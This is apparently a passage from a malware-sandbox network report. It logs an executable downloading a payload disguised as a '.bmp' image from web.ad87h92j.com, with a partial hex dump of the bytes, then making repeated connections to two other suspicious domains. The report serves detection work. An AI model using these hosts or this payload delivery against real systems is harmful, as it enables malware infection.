Sep 14, 2024 18:44:34.547535896 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.547560930 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.547566891 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.547600031 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.547619104 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.547632933 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.547668934 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.547677040 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.547700882 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.547734022 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.547743082 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.547765970 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.547799110 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.547811985 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.547832012 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.547864914 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.547879934 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.547898054 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.547930002 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.547939062 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.547962904 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.547997952 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.548006058 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.548029900 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.548063040 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.548073053 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.548096895 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.548147917 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.632359028 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.632407904 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.632464886 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.632467985 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.632514954 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.632550001 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.632565975 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.632584095 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.632617950 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.632632971 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.632651091 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.632684946 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.632715940 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.632716894 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.632750034 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.632771969 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.632800102 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.632838964 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.632853031 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.632885933 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.632917881 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.632932901 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.632951975 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.632988930 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.632999897 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.633022070 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.633059978 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.633069992 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.633091927 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.633124113 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.633138895 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.633156061 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.633188963 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.633203983 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.633225918 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.633259058 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.633274078 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.633291960 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.633326054 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.633332968 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.633363008 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.633410931 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:57.826517105 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:57.826782942 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:58.405970097 CEST	54892	443	192.168.2.7	172.67.222.6
Sep 14, 2024 18:44:58.406074047 CEST	443	54892	172.67.222.6	192.168.2.7
Sep 14, 2024 18:44:58.406224966 CEST	54892	443	192.168.2.7	172.67.222.6
Sep 14, 2024 18:44:58.410936117 CEST	54892	443	192.168.2.7	172.67.222.6
Sep 14, 2024 18:44:58.410974979 CEST	443	54892	172.67.222.6	192.168.2.7
Sep 14, 2024 18:44:58.898433924 CEST	443	54892	172.67.222.6	192.168.2.7
Sep 14, 2024 18:44:58.898526907 CEST	54892	443	192.168.2.7	172.67.222.6
Sep 14, 2024 18:44:58.900491953 CEST	54892	443	192.168.2.7	172.67.222.6
Sep 14, 2024 18:44:58.900504112 CEST	443	54892	172.67.222.6	192.168.2.7
Sep 14, 2024 18:44:58.900782108 CEST	443	54892	172.67.222.6	192.168.2.7
Sep 14, 2024 18:44:58.945341110 CEST	54892	443	192.168.2.7	172.67.222.6
Sep 14, 2024 18:44:58.965687990 CEST	54892	443	192.168.2.7	172.67.222.6
Sep 14, 2024 18:44:58.965735912 CEST	54892	443	192.168.2.7	172.67.222.6
Sep 14, 2024 18:44:58.965826035 CEST	443	54892	172.67.222.6	192.168.2.7
Sep 14, 2024 18:44:59.637294054 CEST	443	54892	172.67.222.6	192.168.2.7
Sep 14, 2024 18:44:59.637547970 CEST	443	54892	172.67.222.6	192.168.2.7
Sep 14, 2024 18:44:59.637795925 CEST	54892	443	192.168.2.7	172.67.222.6
Sep 14, 2024 18:44:59.639017105 CEST	54892	443	192.168.2.7	172.67.222.6
Sep 14, 2024 18:44:59.639070034 CEST	443	54892	172.67.222.6	192.168.2.7
Sep 14, 2024 18:44:59.639102936 CEST	54892	443	192.168.2.7	172.67.222.6
Sep 14, 2024 18:44:59.639120102 CEST	443	54892	172.67.222.6	192.168.2.7
Sep 14, 2024 18:44:59.901707888 CEST	54893	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:44:59.901818991 CEST	443	54893	172.67.72.137	192.168.2.7
Sep 14, 2024 18:44:59.901916981 CEST	54893	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:44:59.909218073 CEST	54893	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:44:59.909251928 CEST	443	54893	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:00.383054972 CEST	443	54893	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:00.383191109 CEST	54893	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:00.480792046 CEST	54893	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:00.480827093 CEST	443	54893	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:00.481831074 CEST	443	54893	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:00.484042883 CEST	54893	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:00.484066010 CEST	54893	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:00.484072924 CEST	443	54893	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:01.189126015 CEST	443	54893	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:01.189425945 CEST	443	54893	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:01.189600945 CEST	54893	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:01.190104961 CEST	54893	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:01.190155029 CEST	443	54893	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:01.190185070 CEST	54893	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:01.190201044 CEST	443	54893	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:01.192964077 CEST	54894	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:01.193013906 CEST	443	54894	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:01.193105936 CEST	54894	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:01.193468094 CEST	54894	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:01.193497896 CEST	443	54894	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:01.682231903 CEST	443	54894	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:01.682332993 CEST	54894	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:01.683715105 CEST	54894	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:01.683737040 CEST	443	54894	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:01.684734106 CEST	443	54894	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:01.686089039 CEST	54894	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:01.686127901 CEST	54894	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:01.686259031 CEST	443	54894	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:02.341329098 CEST	443	54894	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:02.341434956 CEST	443	54894	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:02.341526031 CEST	54894	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:02.341717958 CEST	54894	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:02.341743946 CEST	443	54894	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:02.341758013 CEST	54894	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:02.341766119 CEST	443	54894	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:09.373651028 CEST	54895	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:09.373748064 CEST	443	54895	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:09.373836040 CEST	54895	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:09.374392033 CEST	54895	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:09.374437094 CEST	443	54895	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:10.755903006 CEST	443	54895	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:10.756011009 CEST	54895	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:10.757280111 CEST	54895	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:10.757302999 CEST	443	54895	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:10.757596016 CEST	443	54895	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:10.758776903 CEST	54895	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:10.758816957 CEST	54895	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:10.758867979 CEST	443	54895	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:12.351973057 CEST	443	54895	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:12.352221966 CEST	443	54895	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:12.352400064 CEST	54895	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:12.352401018 CEST	54895	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:12.352401018 CEST	54895	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:12.658576965 CEST	54895	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:12.658636093 CEST	443	54895	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:21.366826057 CEST	54896	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:21.366883039 CEST	443	54896	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:21.366961002 CEST	54896	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:21.367274046 CEST	54896	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:21.367286921 CEST	443	54896	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:21.830714941 CEST	443	54896	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:21.830806971 CEST	54896	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:21.832022905 CEST	54896	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:21.832031012 CEST	443	54896	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:21.832364082 CEST	443	54896	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:21.833499908 CEST	54896	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:21.833524942 CEST	54896	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:21.833569050 CEST	443	54896	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:23.041201115 CEST	443	54896	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:23.041331053 CEST	443	54896	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:23.041415930 CEST	54896	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:23.041798115 CEST	54896	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:23.041798115 CEST	54896	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:23.041819096 CEST	443	54896	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:23.041827917 CEST	443	54896	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:30.264416933 CEST	54897	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:30.264467955 CEST	443	54897	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:30.264554024 CEST	54897	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:30.265073061 CEST	54897	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:30.265091896 CEST	443	54897	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:30.738293886 CEST	443	54897	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:30.738459110 CEST	54897	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:30.739815950 CEST	54897	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:30.739825964 CEST	443	54897	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:30.740173101 CEST	443	54897	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:30.741378069 CEST	54897	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:30.741406918 CEST	54897	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:30.741463900 CEST	443	54897	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:31.392070055 CEST	443	54897	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:31.392203093 CEST	443	54897	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:31.392386913 CEST	54897	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:31.392812967 CEST	54897	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:31.392832994 CEST	443	54897	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:37.418195963 CEST	54898	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:37.418240070 CEST	443	54898	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:37.418329000 CEST	54898	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:37.418756962 CEST	54898	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:37.418770075 CEST	443	54898	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:37.908052921 CEST	443	54898	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:37.908179045 CEST	54898	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:37.909384012 CEST	54898	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:37.909390926 CEST	443	54898	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:37.909816980 CEST	443	54898	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:37.911905050 CEST	54898	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:37.911941051 CEST	54898	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:37.912002087 CEST	443	54898	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:38.543673992 CEST	443	54898	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:38.543981075 CEST	443	54898	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:38.544058084 CEST	54898	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:38.544204950 CEST	54898	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:38.544224024 CEST	443	54898	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:38.544234037 CEST	54898	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:38.544239044 CEST	443	54898	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:43.694158077 CEST	54899	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:43.694210052 CEST	443	54899	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:43.694286108 CEST	54899	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:43.694962978 CEST	54899	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:43.694979906 CEST	443	54899	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:44.178128958 CEST	443	54899	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:44.178313017 CEST	54899	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:44.179863930 CEST	54899	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:44.179878950 CEST	443	54899	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:44.180202007 CEST	443	54899	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:44.182075024 CEST	54899	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:44.182111025 CEST	54899	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:44.182153940 CEST	443	54899	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:44.829708099 CEST	443	54899	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:44.829862118 CEST	443	54899	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:44.829931974 CEST	54899	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:44.830266953 CEST	54899	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:44.830266953 CEST	54899	443	192.168.2.7	172.67.72.137
Sep 14, 2024 18:45:44.830288887 CEST	443	54899	172.67.72.137	192.168.2.7
Sep 14, 2024 18:45:44.830298901 CEST	443	54899	172.67.72.137	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 14, 2024 18:43:07.727709055 CEST	53	57083	1.1.1.1	192.168.2.7
Sep 14, 2024 18:44:24.453054905 CEST	49627	53	192.168.2.7	1.1.1.1
Sep 14, 2024 18:44:24.460760117 CEST	53	49627	1.1.1.1	192.168.2.7
Sep 14, 2024 18:44:58.375539064 CEST	50653	53	192.168.2.7	1.1.1.1
Sep 14, 2024 18:44:58.398607016 CEST	53	50653	1.1.1.1	192.168.2.7
Sep 14, 2024 18:44:59.868263960 CEST	49867	53	192.168.2.7	1.1.1.1
Sep 14, 2024 18:44:59.893054962 CEST	53	49867	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 14, 2024 18:44:24.453054905 CEST	192.168.2.7	1.1.1.1	0xbcb4	Standard query (0)	web.ad87h92j.com	A (IP address)	IN (0x0001)	false
Sep 14, 2024 18:44:58.375539064 CEST	192.168.2.7	1.1.1.1	0xd0e4	Standard query (0)	caces.goldenh0ur.com	A (IP address)	IN (0x0001)	false
Sep 14, 2024 18:44:59.868263960 CEST	192.168.2.7	1.1.1.1	0x95c9	Standard query (0)	mvc.withoutyou5.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Sep 14, 2024 18:44:24.460760117 CEST	1.1.1.1	192.168.2.7	0xbcb4	No error (0)	web.ad87h92j.com	188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 14, 2024 18:44:24.460760117 CEST	1.1.1.1	192.168.2.7	0xbcb4	No error (0)	web.ad87h92j.com	188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 14, 2024 18:44:58.398607016 CEST	1.1.1.1	192.168.2.7	0xd0e4	No error (0)	caces.goldenh0ur.com	172.67.222.6	A (IP address)	IN (0x0001)	false
Sep 14, 2024 18:44:58.398607016 CEST	1.1.1.1	192.168.2.7	0xd0e4	No error (0)	caces.goldenh0ur.com	104.21.17.45	A (IP address)	IN (0x0001)	false
Sep 14, 2024 18:44:59.893054962 CEST	1.1.1.1	192.168.2.7	0x95c9	No error (0)	mvc.withoutyou5.com	172.67.72.137	A (IP address)	IN (0x0001)	false
Sep 14, 2024 18:44:59.893054962 CEST	1.1.1.1	192.168.2.7	0x95c9	No error (0)	mvc.withoutyou5.com	104.26.7.127	A (IP address)	IN (0x0001)	false
Sep 14, 2024 18:44:59.893054962 CEST	1.1.1.1	192.168.2.7	0x95c9	No error (0)	mvc.withoutyou5.com	104.26.6.127	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

caces.goldenh0ur.com

mvc.withoutyou5.com

web.ad87h92j.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	54890	188.114.96.3	80	6192	C:\Users\user\Desktop\3Kel6xErOk.exe

Timestamp	Bytes transferred	Direction	Data
Sep 14, 2024 18:44:24.473962069 CEST	77	OUT	GET /4/long.bmp HTTP/1.1 Host: web.ad87h92j.com Cache-Control: no-cache
Sep 14, 2024 18:44:25.310730934 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 14 Sep 2024 16:44:25 GMT Content-Type: image/bmp Content-Length: 139784 Connection: keep-alive Last-Modified: Fri, 09 Aug 2024 04:56:47 GMT ETag: "b09db28918eada1:0" Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rqcqDyQRbXkoj%2B6V96UP1PiTM6Jnysc009vaPMHBeNK4bT%2FLBVhQbqXxdQNd0TnxzL0h4Z6KbmYOoKI15Tyw%2FJuVMom814RYKM8HgcMX%2Fk0mvqrlm4wLQAJ0ju6hHz4jPdSP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c31d76f7ce18cb7-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 84 6c 00 00 6c 34 55 89 89 e5 c2 05 93 67 00 00 ed ae ff 21 6e 6c 68 05 6c 6c 00 68 68 6c 00 00 3e 04 c0 1b c4 99 50 e8 69 6c 00 00 ef a8 14 c9 af ed ec 14 6d 6c 00 53 39 3a 57 6a 07 34 6a 65 0a e5 84 24 a0 6c 00 00 5f 81 58 6a 1e 35 6a 6e 37 06 6c 5a 06 5f 66 89 e8 48 ce 00 6c 6c 66 89 e8 48 d4 00 6c 6c 58 6a 5e 0a 89 84 48 b4 00 00 6c 34 6a 2e 0a e5 84 24 b6 6c 00 00 34 06 64 66 e5 e8 24 dc 6c 6c 00 58 e5 c0 24 b0 6c 6c 00 89 00 48 34 89 c0 48 b8 00 6c 6c 89 ac 48 a8 00 00 6c e5 ac 24 d8 6c 00 00 e5 c0 24 ac 6c 6c 00 89 c0 48 e0 00 6c 6c 66 89 e0 48 cc 00 6c 6c 66 89 f0 48 ce 00 6c 6c 66 89 f8 48 d2 00 6c 6c 66 89 e8 48 da 00 6c 6c 66 89 f8 48 dc 00 6c 6c 66 89 f8 48 de 00 6c 6c c6 44 48 50 53 88 38 48 3d 66 ab 28 24 3e 09 09 c6 44 48 2c 70 66 ab 28 24 50 20 03 c6 44 48 3e 61 88 28 48 53 66 ab 28 24 54 20 05 c6 44 48 3a 62 88 20 48 57 c6 28 48 58 61 e4 20 24 59 0a ab 44 24 36 15 41 66 ab 28 24 44 3a 05 88 4c 48 2a 66 c7 28 48 47 74 19 aa 44 24 25 0d 88 54 48 26 c6 44 48 27 41 88 38 48 4c 88 38 48 [TRUNCATED] Data Ascii: ll4Ug!nlhllhhl>PilmlS9:Wj4je$l_Xj5jn7lZ_fHllfHllXj^Hl4j.$l4df$llX$llH4HllHl$l$llHllfHllfHllfHllfHllfHllfHllDHPS8H=f($>DH,pf($P DH>a(HSf($T DH:b HW(HXa $YD$6Af($D:LH*f(HGtD$%TH&DH'A8HL8HMf($Nf(H\VL$2DH3tu($aT$D$<LHDHotDHtHllFHllHlsh%$l$lHl$lti$lloYHllLHLHLHHlHl$l/ch($l+D$NaDHiv($u?stD$I0H
Sep 14, 2024 18:44:25.310756922 CEST	1236	IN	Data Raw: 7c 66 ab 28 24 7d 0a 03 66 c7 e8 48 80 00 6c 6c 52 74 e4 f8 24 82 6c 6c 00 c6 e8 48 83 00 6c 6c 41 88 e8 48 84 00 6c 6c 88 84 48 e9 00 00 6c 0a c7 84 48 ea 00 00 6c 2a 75 88 f0 48 88 00 6c 6c c7 84 48 e5 00 00 6c 0f 74 69 03 e4 9c 24 e1 6c 00 00 Data Ascii: \|f($}fHllRt$llHllAHllHlHl*uHllHlti$l$l8HlHlwll-^kll$lljt$l4HlHlD$p<Hl\$X<UUj3D$(\|HxDHtDHXPU($\|$r<tHDbXf($D$zD$0D$t$
Sep 14, 2024 18:44:25.310775042 CEST	1236	IN	Data Raw: f1 81 ab af 9e 26 6c 5f d2 89 d0 48 28 01 6c 6c 6a 05 e1 24 01 8b ab ad e8 10 e1 d0 24 f0 6c 6c 00 25 93 13 00 00 9b 9d 59 03 a9 07 c0 14 06 69 03 c6 29 e7 f0 f3 c9 35 8b f3 e7 94 8b 44 48 7c f3 a5 06 69 8b fb e1 d8 24 f0 6c 6c 00 59 9f c9 8b bc Data Ascii: &l_H(llj$$ll%Yi)5DH\|i$llYHDl$$W$llrl$D\$@llgD$T$TmP+`\|H@cll<$lTHp7obt\|$\yec9<jZn_$lTmt,-9lHllUf($D$vD$t
Sep 14, 2024 18:44:25.310817003 CEST	672	IN	Data Raw: 8b 57 74 e9 d2 0f e9 3c ff ff 93 5f c0 5f 32 31 5b 83 a8 78 c3 8b 18 48 18 8b 28 7a 24 8d 68 34 0f b7 60 7c 8b 44 7a 70 8d 04 e4 e7 04 10 6f ae eb db 21 36 90 00 6f 6c 00 00 68 6c 00 00 93 93 00 00 d4 6c 00 00 6c 6c 00 00 2c 6c 00 00 6c 6c 00 00 Data Ascii: Wt<__21[xH(z$h4`\|Dzpo!6olhllll,llllllllllllllllllbslMLMTh pgr cnoLbeLunLn (#S deBaHlll:~V~V~VeVfVQVV`hV\|VPVPVwxVzVwhVmV~
Sep 14, 2024 18:44:25.310836077 CEST	1236	IN	Data Raw: 00 00 bc 73 00 00 6c 2c 02 00 6c 4c 00 00 6c 9a 01 00 6c 6c 00 00 6c 6c 00 00 6c 6c 00 00 2c 6c 00 42 6c 6c 00 00 6c 6c 00 00 6c 6c 00 00 6c 6c 00 00 6c 6c 00 00 6c 6c 00 00 6c 6c 00 00 6c 6c 00 00 6c 6c 00 00 6c 6c 00 00 6c 6c 00 00 6c 6c 00 00 Data Ascii: sl,lLlllllll,lBlllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll
